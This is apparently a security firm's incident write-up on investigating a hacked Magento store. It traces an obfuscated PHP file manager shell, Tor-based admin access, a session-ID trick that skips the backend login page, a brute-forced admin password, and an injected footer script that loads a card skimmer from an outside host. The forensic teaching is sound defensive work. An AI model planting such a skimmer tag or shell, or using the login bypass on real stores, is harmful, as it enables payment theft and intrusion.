Part of a series where Magento security professionals share their case notes, so that we can ultimately distill a set of best practices, tools and workflow.

Part of the job of running the MageReport service is investigating tons of hacked stores. About 50-200 new stores get hacked per day, so here is a walk through an investigation of a recent case. Some basic programming and Linux knowledge assumed. All names/hashes/passes in this article are anonymized.

1. Hack detected?

Our malware scanner does a nightly scan of all servers. This morning the scanner alerted on a store that is completely patched, but still showed suspicious code:

$ mwscan /data/web/public/
/data/web/public/media/tmp/shs.php: obfuscated_eval

And the file starts with:

<?php
$auth_pass = "";
$default_action = 'FilesMan';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67
// and so on

Indeed fishy! 🐠 Supposedly it's a web-based file manager, which is often used to upload more malware or to ensure future access. Second, preg_replace with the /e modifier is a common way to implement eval in PHP and to evade malware scanners.

But is it malicious? We are not going to run it; it might alert the intruder. If this site was actively using git, we could have consulted the commit history and then check with the original developer whether the file is legitimate. In this case, the site is not using git (or, no published metadata) but for now the detected file is assumed to be Not Good.

2. Pick an approach

The goal is to obtain a complete overview of the intruder's entry point and actions. Any privileges that the intruder may still have, can be removed and any damage can be undone.

It is best not to alert the intruder before the investigation is finished. It might trigger them to "pull the trigger" (delete everything to destroy traces). Fabian Blechschmidt noted that it is better to pull the plug and investigate an isolated server instead. That is very true, but not always feasible, as the merchant might not agree.

In this case, no backdoors or rogue accounts should be disabled until it is clear exactly what has happened. Only then is it reasonably safe to close all the privileges/backdoors at the same time. One missed backdoor is enough to start all over again next week!

During an investigation like this, Sansec keeps a logbook (simple markdown file) to collect hypotheses, timestamps, circumstantial/hard evidence, and todos.

3. Preserve potential evidence

First, copy all the relevant data to a safe location, in case the intruder gets anxious and starts cleaning up. This includes site files, databases, and web-, firewall-, system- and database logfiles.

Important: the server cannot be trusted, so do not push files from it, but rather pull them from another, trusted server. In other words, do not initiate authorized connections from the compromised server. Also, avoid SSH agent forwarding, because one could theoretically hijack keys.

For copying data: if possible, use dd to make an exact copy of the block device. If that's not possible, rsync -a preserves at least most file attributes.

A law-enforcement forensics team would come in a black van, hotwire the AC power, freeze the compromised server and clone RAM and disks. This is an obviously better approach, but black vans are pricey and for most Magento breaches not required.

4. Establish a timeline

What happened when?

$ ls -l /data/web/public/media/tmp/shs.php
-rw-rw-rw- 1 app app 24726 Sep 11 2014 /data/web/public/media/tmp/shs.php

2014, really? This file was not detected yesterday. What you see is the last modification time (aka mtime). This is trivial to tamper (eg. with touch -am). The stat tool tells us more:

$ stat /data/web/public/media/tmp/shs.php
[...]
Access: 2017-03-20 07:16:27.882583096 +0000
Modify: 2014-09-11 12:34:35.000000000 +0000
Change: 2017-03-20 07:16:27.890583097 +0000

On most Linux systems, the change time (ctime) cannot be modified by non-root users, so this is fairly reliable. In this case, it was modified less than 48 hours ago, great! As logs are often purged after 2-4 weeks, the fresher the traces, the better.

Also, verify the timezone of the server. If it is not UTC, convert all timestamps to a standard time, so they can be correlated with other sources.

5. Collect traces & evidence

What happened here on the 20th of March, 07:16:27 UTC? In practice, most PHP malware is uploaded through HTTP, so the webserver logs are the first place to check. Filter all requests within 2 minutes before and after the timestamp.

This is a busy site, so further narrow down the relevant log lines by filtering POST requests, as these are most often used to transform or upload data.

$ zcat -f /var/log/nginx/access.log* | grep '2017-03-20T07:16:'  | grep POST
2017-03-20T07:16:03+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/save/?isAjax=true HTTP/1.1
2017-03-20T07:16:04+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/edit/id/885/?isAjax=true&isAjax=true HTTP/1.1
2017-03-20T07:16:27+00:00 FR 89.234.157.254 POST /index.php/myadmin/newsletter_template/preview/ HTTP/1.1
2017-03-20T07:16:27+00:00 FR 89.234.157.254 POST /index.php/myadmin/newsletter_template/drop/ HTTP/1.1
2017-03-20T07:16:52+00:00 FR 89.234.157.254 POST /index.php/myadmin/catalog_category/delete/id/885/_blcg_token_/<snip>/?isAjax=true&isAjax=true HTTP/1.1

Presto, we have an exact timestamp match!

Sidenote: your log format might be different and not contain a country code. Hint, use the geoiplookup utility.

Now, this suggests that the malware was installed by an authorized call to the newsletter system. This is pretty worrying, as:

1. The intruder has an admin account to the store
2. The intruder knows the secret location of the backend panel

The login came from a French IP. This merchant does not have staff in France, but to be sure the IP owner was checked:

$ whois 89.234.157.254
netname:        NET-TTNN-NOS-OIGNONS
descr:          Subnet Nos Oignons chez TTNN

Nos oignons? This appears to be a Tor exit node. No legitimate merchant staff would use the Tor network for store administration.

Building a narrative

What else has this IP requested?

# only a few lines shown for brevity
$ zcat -f access.log.4.gz | grep 89.234.157.254
2017-03-20T07:11:07+00:00 FR 89.234.157.254 GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1
2017-03-20T07:11:08+00:00 FR 89.234.157.254 GET /media/css_secure/02c96sddefddba3fcc06108256401ece4.css HTTP/1.1
2017-03-20T07:14:21+00:00 FR 89.234.157.254 POST /index.php/myadmin/system_config/save/section/design/ HTTP/1.1
2017-03-20T07:14:51+00:00 FR 89.234.157.254 POST /index.php/myadmin/cache/massRefresh/ HTTP/1.1
2017-03-20T07:16:42+00:00 FR 89.234.157.254 GET /media/tmp/shs.php HTTP/1.1

And the user-agent header for all these requests:

Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0

There are many clues hidden here.

1. The first request is not a login request, which implies that there are more relevant requests but probably from a different IP.
2. The intruder fetches static assets and the requests are distributed over the timeframe of a few minutes. This suggests that an actual human is interacting with the control panel, and not an automated worm. Somebody took quite some effort here! Also, Sansec would speculate that the intruder is not in the UTC timezone, as those black hats are known to be sound asleep between 6 and 11 am ;)
3. The intruder fetches the file manager a few seconds after it was created, likely to verify whether the upload had succeeded.
4. The given user agent is not very common, as it is more than a year old (Firefox release history). So it could be fake, or an old browser bundled with the Tor client. Worth looking for other requests with this agent.
5. Something was saved in the design section of the panel and the cache was refreshed. The templates should be checked for tampering.

So far, we have found that somebody tried to hide their identity and that an obfuscated PHP file was installed through the newsletter module. Enough indicators to assume that the file is malicious and somebody gained unauthorized access to the backend.

Somebody lost their password

Now, which admin account was used here? Unfortunately, that is not logged on most systems (as it is part of the POST data). But perhaps it can be inferred from other sources.

First, check whether any admin accounts are likely inserted using SQL injection. As most attackers are too lazy to fill all the non-required fields, check for admin accounts that have NULL fields:

$ echo 'select email,username,created,modified
 from admin_user' | n98-magerun db:console

In this case, no NULL fields showed up, so likely all the admin accounts are in use as legitimate accounts, and one has been compromised. But which? We can check the last login date:

$ echo 'select username,logdate from admin_user
 order by logdate' | magerun db:console
<snip> 2017-03-20 06:56:56
<snip> 2017-03-20 07:18:53
<snip> 2017-03-20 07:20:39
[..long list of users..]
<snip> 2017-03-20 09:38:29
<snip> 2017-03-21 08:26:18
<snip> 2017-03-21 13:52:27

Ouch, based on the timestamps, that still leaves us with a gazillion possibly compromised accounts.

Logging in without logging in

Let's take a step back: how did the intruder log in to the backend panel in the first place? Searching the logs for suspicious backend logins (POSTs to /myadmin) turned up nothing. Then searching for the specific user agent and any given basic auth usernames:

$ zcat access.log.4.gz | grep 'Firefox/45.0'
2017-03-20T07:09:48+00:00 US 104.236.141.156 - GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:10:02+00:00 US 104.236.141.156 mike GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:11:07+00:00 FR 89.234.157.254 - GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1

Bingo! A minute before our French Tor friend enters the backend panel, a basic auth request ("mike") is made to the catalog RSS endpoint, using a US Tor IP.

But wait, can this be used as an alternative method to log in to the backend? Sansec replicated it on a test store. Given the right password, the notifystock endpoint indeed reveals the secret address to the backend panel. But it does not grant a login. However, notifystock sends a PHPSESS cookie with a hash value. Appending this value as ?SID=xyz to a backend address does work! This seems like a lot of trouble to circumvent the regular backend login page. Perhaps the intruder uses it to evade login POST access control, a common security filter. This required copy-pasting of the session cookie could also explain why there is a minute between the notifystock hit and the first backend request.

So at least the mike admin account is compromised. To quickly check whether any weak passwords were used, this cool magerun plugin written by Peter O'Callaghan comes in handy:

$ n98-magerun hypernode:crack:admin-passwords --active --force --rulesets=best64 1000 special vendors -v

[8/13] Cracking mike
   29876/211981 [===>------------------------]  14% < 1 sec 16.0 MiB

+---------------+------------+---------+-----------+
| User          | Hash       | Cracked | Password  |
+---------------+------------+---------+-----------+
| mike          | 557466e... | Yes     | mike123   |
+---------------+------------+---------+-----------+

Right, username + 123 is probably not such a strong password. The logs show that in the last week, brute forcers tried to guess the passwords for 5481 accounts.

Couldn't we block this? Our systems use adaptive filtering which blocks access after a few unsuccessful login attempts, however brute forcers have recently started to use botnets and Tor nodes. These distributed attack sources are harder to identify.

Adding up, it seems highly likely that the mike account got brute forced.

6. Finding other hack artifacts

Remember that the intruder modified the design earlier? Let's see if anything ended up in the header or footer:

$ n98-magerun config:get 'design*'
design/footer/absolute_footer: <script src="https://analiticoscdn.com/js/static.js" type="text/javascript"></script>

Indeed, a remote Javascript file is injected in every page (readable copy here). No surprise: it skims payment data and forwards it to a server registered in Vladivostok. Notably, this malware was specifically written to intercept major payment providers such as Stripe, Adyen, Pin Payments, Eway Rapid and Heidelpay.

Finally, routinely check other areas for possible artifacts. Anything on the filesystem that was modified within the last 48 hours:

find /data/web -type f -ctime -2

Possible a rogue cron was inserted?

crontab -l -u app

Rogue background processes?

pgrep -lu app

Rogue database triggers? Yes, they exist.

echo 'SHOW TRIGGERS' | n98-magerun db:console

These produced no further suspicious traces.

7. Conclusion

This was a pragmatic investigation of a Magento hack. What Sansec discovered:

• The store was up-to-date with patches, but one of the admin accounts (password: mike123) was brute forced to gain access to the backend panel and CC skimming code was inserted.
• Black hats use a new method to get into the admin panel without using the login page
• A more sophisticated form of JS malware is developed that targets major payment service providers (Stripe, Adyen).

Up next: two professionals share their case workflow, so we can all learn from them:

• Anna Völkl is an internationally respected speaker on Magento security who has been tirelessly educating people on both relevance and methodology.
• Joel Hart has years of professional experience preventing and dealing with breaches.

Read more

• Magento vendor Fishpig hacked, backdoors added
• OptinMonster supply chain attack hits 1.2 million sites
• Mass PolyShell attack wave hits 471 stores in one hour
• PolyShell: unrestricted file upload in Magento and Adobe Commerce
• Magento Developers Impersonated in Targeted GitHub Malware Operation